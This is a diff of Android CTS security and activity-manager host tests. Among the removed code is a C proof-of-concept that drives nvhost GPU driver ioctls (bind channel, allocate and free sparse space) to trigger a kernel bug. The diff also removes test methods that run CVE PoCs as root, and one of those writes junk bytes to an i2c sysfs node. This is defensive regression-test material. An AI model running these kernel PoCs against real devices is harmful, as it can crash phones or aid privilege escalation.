- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- return ret;
-}
-
-#define SZ_128K 0x00020000
-#define NVHOST_AS_IOCTL_MAGIC 'A'
-struct nvhost_as_bind_channel_args {
- __u32 channel_fd; /* in */
-} __packed;
-#define NVHOST_AS_IOCTL_BIND_CHANNEL \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 1, struct nvhost_as_bind_channel_args)
-
-struct nvhost_as_free_space_args {
- __u64 offset; /* in, byte address */
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
-};
-#define NVHOST_AS_IOCTL_FREE_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 3, struct nvhost_as_free_space_args)
-
-#define NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE 0x2
-struct nvhost_as_alloc_space_args {
- __u32 pages; /* in, pages */
- __u32 page_size; /* in, bytes */
- __u32 flags; /* in */
- __u32 padding; /* in */
- union {
- __u64 offset; /* inout, byte address valid iff _FIXED_OFFSET */
- __u64 align; /* in, alignment multiple (0:={1 or n/a}) */
- } o_a;
-};
-#define NVHOST_AS_IOCTL_ALLOC_SPACE \
- _IOWR(NVHOST_AS_IOCTL_MAGIC, 6, struct nvhost_as_alloc_space_args)
-
-#define CLOSE_THREAD_NUM 1
-#define TRY_TIMES 2
-#define NVMAPDEV "/dev/nvmap"
-#define GPUDEV "/dev/nvhost-gpu"
-#define ASDEV "/dev/nvhost-as-gpu"
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-int nvmap, gpu, asgpu;
-volatile int attack;
-
-int main(void)
-{
- int i, j, ret;
- int dma1, dma2;
- struct nvmap_create_handle args = {
- .size = PAGE_SIZE
- };
- struct nvhost_as_bind_channel_args as_bind = { 0 };
- struct nvhost_as_alloc_space_args alloc = {
- .pages = 1,
- .page_size = SZ_128K,
- .flags = NVHOST_AS_ALLOC_SPACE_FLAGS_SPARSE
- };
- struct nvhost_as_free_space_args free_arg = {
- .pages = 1,
- .page_size = SZ_128K
- };
-
- /* bind_cpu */
- set_affinity(0);
-
- nvmap = open(NVMAPDEV, O_RDONLY);
- if(nvmap == -1) {
- ERR("[-] open %s failed", NVMAPDEV);
- goto __cleanup;
- }
- gpu = open(GPUDEV, O_RDONLY);
- if(gpu == -1) {
- ERR("[-] open %s failed", GPUDEV);
- goto __cleanup;
- }
- asgpu = open(ASDEV, O_RDONLY);
- if(asgpu == -1) {
- ERR("[-] open %s failed", ASDEV);
- goto __cleanup;
- }
- // bind the channel
- as_bind.channel_fd = gpu;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_BIND_CHANNEL, &as_bind);
- if(ret == -1) {
- ERR("[-] NVHOST_AS_IOCTL_BIND_CHANNEL failed");
- goto __cleanup;
- } else {
- //LOG("[+] ioctl OK, channel is bond");
- }
-
- #if 1
- // prepare
- ret = ioctl(nvmap, NVMAP_IOC_CREATE, &args);
- if(ret) {
- ERR("[-] NVMAP_IOC_CREATE failed");
- goto __cleanup;
- }
- #endif
-
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_ALLOC_SPACE, &alloc);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_ALLOC_SPACE failed");
- goto __cleanup;
- }
- free_arg.offset = alloc.o_a.offset;
- ret = ioctl(asgpu, NVHOST_AS_IOCTL_FREE_SPACE, &free_arg);
- if(ret) {
- ERR("[-] NVHOST_AS_IOCTL_FREE_SPACE failed");
- goto __cleanup;
- }
-
-__cleanup:
- close(nvmap);
- close(gpu);
- close(asgpu);
- return 0;
-}
diff --git a/hostsidetests/security/src/android/security/cts/Poc16_12.java b/hostsidetests/security/src/android/security/cts/Poc16_12.java
index 7e24e8f..1592182 100644
--- a/hostsidetests/security/src/android/security/cts/Poc16_12.java
+++ b/hostsidetests/security/src/android/security/cts/Poc16_12.java
@@ -139,73 +139,6 @@
}
/**
- * b/32700935
- */
- @SecurityTest
- public void testPocCVE_2016_8435() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/dri/renderD129")) {
- AdbUtils.runPoc("CVE-2016-8435", getDevice(), 60);
- }
- }
-
- /**
- * b/31568617
- */
- @SecurityTest
- public void testPocCVE_2016_9120() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/ion")) {
- AdbUtils.runPoc("CVE-2016-9120", getDevice(), 60);
- }
- }
-
- //Highs
- /**
- * b/31225246
- */
- @SecurityTest
- public void testPocCVE_2016_8412() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev7")) {
- AdbUtils.runPoc("CVE-2016-8412", getDevice(), 60);
- }
- }
-
- /**
- * b/31243641
- */
- @SecurityTest
- public void testPocCVE_2016_8444() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/v4l-subdev17")) {
- AdbUtils.runPoc("CVE-2016-8444", getDevice(), 60);
- }
- }
-
- /**
- * b/31791148
- */
- @SecurityTest
- public void testPocCVE_2016_8448() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/graphics/fb0")) {
- AdbUtils.runPoc("CVE-2016-8448", getDevice(), 60);
- }
- }
-
- /**
- * b/31798848
- */
- @SecurityTest
- public void testPocCVE_2016_8449() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/dev/tegra_avpchannel")) {
- AdbUtils.runPoc("CVE-2016-8449", getDevice(), 60);
- }
- }
-
- /**
* b/31668540
*/
@SecurityTest
@@ -217,37 +150,6 @@
}
/**
- * b/32402548
- */
- @SecurityTest
- public void testPocCVE_2017_0403() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0403", getDevice(), 60);
- }
-
- /**
- * b/32510733
- */
- @SecurityTest
- public void testPocCVE_2017_0404() throws Exception {
- enableAdbRoot(getDevice());
- if(containsDriver(getDevice(), "/proc/asound/version")) {
- AdbUtils.runPoc("CVE-2017-0404", getDevice(), 60);
- }
- }
-
- /**
- * b/32178033
- */
- @SecurityTest
- public void testPocCVE_2016_8451() throws Exception {
- enableAdbRoot(getDevice());
- String command =
- "echo AAAAAAAAA > /sys/devices/f9924000.i2c/i2c-2/2-0070/power_control";
- AdbUtils.runCommandLine(command, getDevice());
- }
-
- /**
* b/32659848
*/
@SecurityTest
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_01.java b/hostsidetests/security/src/android/security/cts/Poc17_01.java
index 18bfb16..4fd98b7 100644
--- a/hostsidetests/security/src/android/security/cts/Poc17_01.java
+++ b/hostsidetests/security/src/android/security/cts/Poc17_01.java
@@ -30,47 +30,4 @@
AdbUtils.runPoc("CVE-2016-8482", getDevice(), 60);
}
}
-
- /**
- * b/32636619
- */
- @SecurityTest
- public void testPocCVE_2017_0429() throws Exception {
- if(containsDriver(getDevice(), "/dev/nvhost-as-gpu")) {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2017-0429", getDevice(), 60);
- }
- }
-
- /**
- * b/32219121
- */
- @SecurityTest
- public void testPocCVE_2016_8455() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8455", getDevice(), 60);
- }
-
- /**
- * b/32219255
- */
- @SecurityTest
- public void testPocCVE_2016_8456() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8456", getDevice(), 60);
- // CTS begins the next test before device finishes rebooting,
- // sleep to allow time for device to reboot.
- Thread.sleep(60000);
- }
-
- /**
- * b/32219453
- */
- @SecurityTest
- public void testPocCVE_2016_8457() throws Exception {
- enableAdbRoot(getDevice());
- AdbUtils.runPoc("CVE-2016-8457", getDevice(), 60);
- // Device takes up to 60 seconds to crash after PoC run.
- Thread.sleep(60000);
- }
- }
+}
diff --git a/hostsidetests/services/activityandwindowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/Android.mk
deleted file mode 100644
index 178cb8a..0000000
--- a/hostsidetests/services/activityandwindowmanager/Android.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk b/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
deleted file mode 100644
index 1761ba6..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsServicesHostTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-LOCAL_STATIC_JAVA_LIBRARIES := cts-amwm-util \
- cts-display-service-app-util \
- platform-test-annotations-host
-
-LOCAL_CTS_TEST_PACKAGE := android.server
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
deleted file mode 100644
index 52b8d55..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/AndroidTest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Sample host test cases">
- <option name="config-descriptor:metadata" key="component" value="framework" />
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
- <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
- <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
- <option name="test-file-name" value="CtsDeviceDebuggableApp.apk" />
- <option name="test-file-name" value="CtsDeviceDisplaySizeApp.apk" />
- <option name="test-file-name" value="CtsDisplayServiceApp.apk" />
- <option name="test-file-name" value="CtsDeviceTranslucentTestApp.apk" />
- </target_preparer>
- <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
- <option name="jar" value="CtsServicesHostTestCases.jar" />
- <option name="runtime-hint" value="4m44s" />
- </test>
-</configuration>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
deleted file mode 100755
index 63f41d1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/AndroidManifest.xml
+++ /dev/null
@@ -1,413 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.cts">
-
- <!-- virtual display test permissions -->
- <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
- <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
- <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
-
- <application>
- <activity android:name=".TestActivity"
- android:resizeableActivity="true"
- android:supportsPictureInPicture="true"
- android:exported="true"
- />
- <activity android:name=".TestActivityWithSameAffinity"
- android:resizeableActivity="true"
- android:supportsPictureInPicture="true"
- android:exported="true"
- android:taskAffinity="nobody.but.PipActivitySameAffinity"
- />
- <activity android:name=".TranslucentTestActivity"
- android:resizeableActivity="true"
- android:supportsPictureInPicture="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:theme="@style/Theme.Transparent" />
- <activity android:name=".VrTestActivity"
- android:resizeableActivity="true"
- android:exported="true"
- />
- <activity android:name=".ResumeWhilePausingActivity"
- android:allowEmbedded="true"
- android:resumeWhilePausing="true"
- android:taskAffinity=""
- android:exported="true"
- />
- <activity android:name=".ResizeableActivity"
- android:resizeableActivity="true"
- android:allowEmbedded="true"
- android:exported="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"
- />
- <activity android:name=".NonResizeableActivity"
- android:resizeableActivity="false"
- android:exported="true"
- />
- <activity android:name=".DockedActivity"
- android:resizeableActivity="true"
- android:exported="true"
- android:taskAffinity="nobody.but.DockedActivity"
- />
- <activity android:name=".TranslucentActivity"
- android:theme="@android:style/Theme.Translucent.NoTitleBar"
- android:resizeableActivity="true"
- android:taskAffinity="nobody.but.TranslucentActivity"
- android:exported="true"
- />
- <activity android:name=".DialogWhenLargeActivity"
- android:exported="true"
- android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"
- />
- <activity android:name=".NoRelaunchActivity"
- android:resizeableActivity="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale"
- android:exported="true"
- android:taskAffinity="nobody.but.NoRelaunchActivity"
- />
- <activity android:name=".SlowCreateActivity"
- android:resizeableActivity="true"
- android:exported="true"
- />
- <activity android:name=".LaunchingActivity"
- android:resizeableActivity="true"
- android:exported="true"
- android:taskAffinity="nobody.but.LaunchingActivity"
- />
- <activity android:name=".AltLaunchingActivity"
- android:resizeableActivity="true"
- android:exported="true"
- android:taskAffinity="nobody.but.LaunchingActivity"
- />
- <activity android:name=".PipActivity"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true"
- android:taskAffinity="nobody.but.PipActivity"
- />
- <activity android:name=".PipActivity2"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true"
- android:taskAffinity="nobody.but.PipActivity2"
- />
- <activity android:name=".PipOnStopActivity"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true"
- android:taskAffinity="nobody.but.PipOnStopActivity"
- />
- <activity android:name=".PipActivityWithSameAffinity"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true"
- android:taskAffinity="nobody.but.PipActivitySameAffinity"
- />
- <activity android:name=".AlwaysFocusablePipActivity"
- android:theme="@style/Theme.Transparent"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- androidprv:alwaysFocusable="true"
- android:exported="true"
- android:taskAffinity="nobody.but.AlwaysFocusablePipActivity"
- />
- <activity android:name=".LaunchIntoPinnedStackPipActivity"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- androidprv:alwaysFocusable="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true"
- />
- <activity android:name=".LaunchPipOnPipActivity"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- android:taskAffinity="nobody.but.LaunchPipOnPipActivity"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true"
- />
- <activity android:name=".LaunchEnterPipActivity"
- android:resizeableActivity="false"
- android:supportsPictureInPicture="true"
- androidprv:alwaysFocusable="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true"
- />
- <activity android:name=".FreeformActivity"
- android:resizeableActivity="true"
- android:taskAffinity="nobody.but.FreeformActivity"
- android:exported="true"
- />
- <activity android:name=".TopLeftLayoutActivity"
- android:resizeableActivity="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true">
- <layout android:defaultWidth="240dp"
- android:defaultHeight="160dp"
- android:gravity="top|left"
- android:minWidth="100dp"
- android:minHeight="80dp"
- />
- </activity>
- <activity android:name=".TopRightLayoutActivity"
- android:resizeableActivity="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true">
- <layout android:defaultWidth="25%"
- android:defaultHeight="35%"
- android:gravity="top|right"
- android:minWidth="90dp"
- android:minHeight="80dp"
- />
- </activity>
- <activity android:name=".BottomLeftLayoutActivity"
- android:resizeableActivity="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true">
- <layout android:defaultWidth="25%"
- android:defaultHeight="35%"
- android:gravity="bottom|left"
- android:minWidth="90dp"
- android:minHeight="80dp"
- />
- </activity>
- <activity android:name=".BottomRightLayoutActivity"
- android:resizeableActivity="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- android:exported="true">
- <layout android:defaultWidth="240dp"
- android:defaultHeight="160dp"
- android:gravity="bottom|right"
- android:minWidth="100dp"
- android:minHeight="80dp"
- />
- </activity>
- <activity android:name=".TurnScreenOnActivity"
- android:exported="true"
- />
- <activity android:name=".TurnScreenOnDismissKeyguardActivity"
- android:exported="true"
- />
- <activity android:name=".SingleTaskActivity"
- android:exported="true"
- android:launchMode="singleTask"
- />
- <activity android:name=".SingleInstanceActivity"
- android:exported="true"
- android:launchMode="singleInstance"
- />
- <activity android:name=".TrampolineActivity"
- android:exported="true"
- android:theme="@android:style/Theme.NoDisplay"
- />
- <activity android:name=".BroadcastReceiverActivity"
- android:resizeableActivity="true"
- android:exported="true"
- />
- <activity-alias android:enabled="true"
- android:exported="true"
- android:name=".EntryPointAliasActivity"
- android:targetActivity=".TrampolineActivity" >
- </activity-alias>
- <activity android:name=".BottomActivity"
- android:exported="true"
- android:theme="@style/NoPreview"
- />
- <activity android:name=".TopActivity"
- android:process=".top_process"
- android:exported="true"
- android:theme="@style/NoPreview"
- />
- <activity android:name=".TranslucentTopActivity"
- android:process=".top_process"
- android:exported="true"
- android:theme="@style/TranslucentTheme"
- />
- <!-- An animation test with an explicitly opaque theme, overriding device defaults, as the
- animation background being tested is not used in translucent activities. -->
- <activity android:name=".AnimationTestActivity"
- android:theme="@style/OpaqueTheme"
- android:exported="true"
- />
- <activity android:name=".VirtualDisplayActivity"
- android:resizeableActivity="true"
- android:exported="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- />
- <activity android:name=".ShowWhenLockedActivity"
- android:exported="true"
- />
- <activity android:name=".ShowWhenLockedWithDialogActivity"
- android:exported="true"
- />
- <activity android:name=".ShowWhenLockedDialogActivity"
- android:exported="true"
- android:theme="@android:style/Theme.Material.Dialog"
- />
- <activity android:name=".ShowWhenLockedTranslucentActivity"
- android:exported="true"
- android:theme="@android:style/Theme.Translucent"
- />
- <activity android:name=".DismissKeyguardActivity"
- android:exported="true"
- />
- <activity android:name=".DismissKeyguardMethodActivity"
- android:exported="true"
- />
- <activity android:name=".WallpaperActivity"
- android:exported="true"
- android:theme="@style/WallpaperTheme"
- />
- <activity android:name=".KeyguardLockActivity"
- android:exported="true"
- />
- <activity android:name=".LogConfigurationActivity"
- android:exported="true"
- android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
- />
- <activity android:name=".PortraitOrientationActivity"
- android:exported="true"
- android:screenOrientation="portrait"
- android:documentLaunchMode="always"
- />
- <activity android:name=".LandscapeOrientationActivity"
- android:exported="true"
- android:screenOrientation="landscape"
- android:documentLaunchMode="always"
- />
- <activity android:name=".MoveTaskToBackActivity"
- android:exported="true"
- android:launchMode="singleInstance"
- />
- <activity android:name=".FinishableActivity"
- android:exported="true"
- />
- <activity android:name=".NightModeActivity"
- android:exported="true"
- android:configChanges="uiMode"
- />
- <activity android:name=".FontScaleActivity"
- android:exported="true"
- />
- <activity android:name=".FontScaleNoRelaunchActivity"
- android:exported="true"
- android:configChanges="fontScale"
- />
- <receiver
- android:name=".LaunchBroadcastReceiver"
- android:enabled="true"
- android:exported="true" >
- <intent-filter>
- <action android:name="android.server.cts.LAUNCH_BROADCAST_ACTION"/>
- </intent-filter>
- </receiver>
-
- <activity android:name=".AssistantActivity"
- android:exported="true" />
- <activity android:name=".TranslucentAssistantActivity"
- android:exported="true"
- android:theme="@style/Theme.Transparent" />
- <activity android:name=".LaunchAssistantActivityFromSession"
- android:taskAffinity="nobody.but.LaunchAssistantActivityFromSession"
- android:exported="true" />
- <activity android:name=".LaunchAssistantActivityIntoAssistantStack"
- android:taskAffinity="nobody.but.LaunchAssistantActivityIntoAssistantStack"
- android:exported="true" />
-
- <service android:name=".AssistantVoiceInteractionService"
- android:permission="android.permission.BIND_VOICE_INTERACTION"
- android:exported="true">
- <meta-data android:name="android.voice_interaction"
- android:resource="@xml/interaction_service" />
- <intent-filter>
- <action android:name="android.service.voice.VoiceInteractionService" />
- </intent-filter>
- </service>
-
- <service android:name=".AssistantVoiceInteractionSessionService"
- android:permission="android.permission.BIND_VOICE_INTERACTION"
- android:exported="true" />
-
- <activity android:name=".SplashscreenActivity"
- android:taskAffinity="nobody.but.SplashscreenActivity"
- android:theme="@style/SplashscreenTheme"
- android:exported="true" />
-
-
- <activity android:name=".SwipeRefreshActivity"
- android:exported="true" />
-
- <activity android:name=".NoHistoryActivity"
- android:noHistory="true"
- android:exported="true" />
-
- <activity android:name=".ShowWhenLockedAttrActivity"
- android:showWhenLocked="true"
- android:exported="true" />
-
- <activity android:name=".ShowWhenLockedAttrRemoveAttrActivity"
- android:showWhenLocked="true"
- android:exported="true" />
-
- <activity android:name=".ShowWhenLockedAttrWithDialogActivity"
- android:showWhenLocked="true"
- android:exported="true" />
-
- <activity android:name=".TurnScreenOnAttrActivity"
- android:turnScreenOn="true"
- android:exported="true" />
-
- <activity android:name=".TurnScreenOnShowOnLockActivity"
- android:showWhenLocked="true"
- android:turnScreenOn="true"
- android:exported="true" />
-
- <activity android:name=".TurnScreenOnAttrRemoveAttrActivity"
- android:turnScreenOn="true"
- android:showWhenLocked="true"
- android:exported="true" />
-
- <activity android:name=".TurnScreenOnSingleTaskActivity"
- android:turnScreenOn="true"
- android:showWhenLocked="true"
- android:exported="true"
- android:launchMode="singleTask" />
-
- <activity android:name=".TurnScreenOnAttrDismissKeyguardActivity"
- android:turnScreenOn="true"
- android:exported="true"/>
-
- <activity android:name=".TurnScreenOnWithRelayoutActivity"
- android:exported="true"/>
-
- <service android:name="com.android.cts.verifier.vr.MockVrListenerService"
- android:exported="true"
- android:enabled="true"
- android:permission="android.permission.BIND_VR_LISTENER_SERVICE">
- <intent-filter>
- <action android:name="android.service.vr.VrListenerService" />
- </intent-filter>
- </service>
- </application>
-</manifest>
-
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
deleted file mode 100644
index de52e61..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/layout/resizeable_activity.xml
+++ /dev/null
@@ -1,21 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- ~ Copyright (C) 2017 The Android Open Source Project
- ~
- ~ Licensed under the Apache License, Version 2.0 (the "License");
- ~ you may not use this file except in compliance with the License.
- ~ You may obtain a copy of the License at
- ~
- ~ http://www.apache.org/licenses/LICENSE-2.0
- ~
- ~ Unless required by applicable law or agreed to in writing, software
- ~ distributed under the License is distributed on an "AS IS" BASIS,
- ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- ~ See the License for the specific language governing permissions and
- ~ limitations under the License
- -->
-
-<android.server.cts.LifecycleLogView xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="match_parent"
- android:layout_height="match_parent">
-</android.server.cts.LifecycleLogView>
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml b/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
deleted file mode 100644
index 7cf92a0..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/res/xml/interaction_service.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<voice-interaction-service xmlns:android="http://schemas.android.com/apk/res/android"
- android:sessionService="android.server.cts.AssistantVoiceInteractionSessionService"
- android:recognitionService="android.server.cts.AssistantVoiceInteractionSessionService"
- android:supportsAssist="true" />
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
deleted file mode 100644
index 9d29917..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AbstractLifecycleLogActivity.java
+++ /dev/null
@@ -1,113 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.content.res.Configuration;
-import android.graphics.Point;
-import android.os.Bundle;
-import android.util.DisplayMetrics;
-import android.util.Log;
-import android.view.Display;
-import android.view.WindowManager;
-
-public abstract class AbstractLifecycleLogActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
- Log.i(getTag(), "onCreate");
- }
-
- @Override
- protected void onStart() {
- super.onResume();
- Log.i(getTag(), "onStart");
- }
-
- @Override
- protected void onResume() {
- super.onResume();
- Log.i(getTag(), "onResume");
- }
-
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- Log.i(getTag(), "onConfigurationChanged");
- }
-
- @Override
- public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
- super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
- Log.i(getTag(), "onMultiWindowModeChanged");
- }
-
- @Override
- public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
- Configuration newConfig) {
- super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
- Log.i(getTag(), "onPictureInPictureModeChanged");
- }
-
- @Override
- protected void onPause() {
- super.onPause();
- Log.i(getTag(), "onPause");
- }
-
- @Override
- protected void onStop() {
- super.onStop();
- Log.i(getTag(), "onStop");
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
- Log.i(getTag(), "onDestroy");
- }
-
- protected abstract String getTag();
-
- protected void dumpConfiguration(Configuration config) {
- Log.i(getTag(), "Configuration: " + config);
- }
-
- protected void dumpDisplaySize(Configuration config) {
- // Dump the display size as seen by this Activity.
- final WindowManager wm = getSystemService(WindowManager.class);
- final Display display = wm.getDefaultDisplay();
- final Point point = new Point();
- display.getSize(point);
- final DisplayMetrics metrics = getResources().getDisplayMetrics();
-
- final String line = "config"
- + " size=" + buildCoordString(config.screenWidthDp, config.screenHeightDp)
- + " displaySize=" + buildCoordString(point.x, point.y)
- + " metricsSize=" + buildCoordString(metrics.widthPixels, metrics.heightPixels)
- + " smallestScreenWidth=" + config.smallestScreenWidthDp
- + " densityDpi=" + config.densityDpi
- + " orientation=" + config.orientation;
-
- Log.i(getTag(), line);
- }
-
- protected static String buildCoordString(int x, int y) {
- return "(" + x + "," + y + ")";
- }
-}
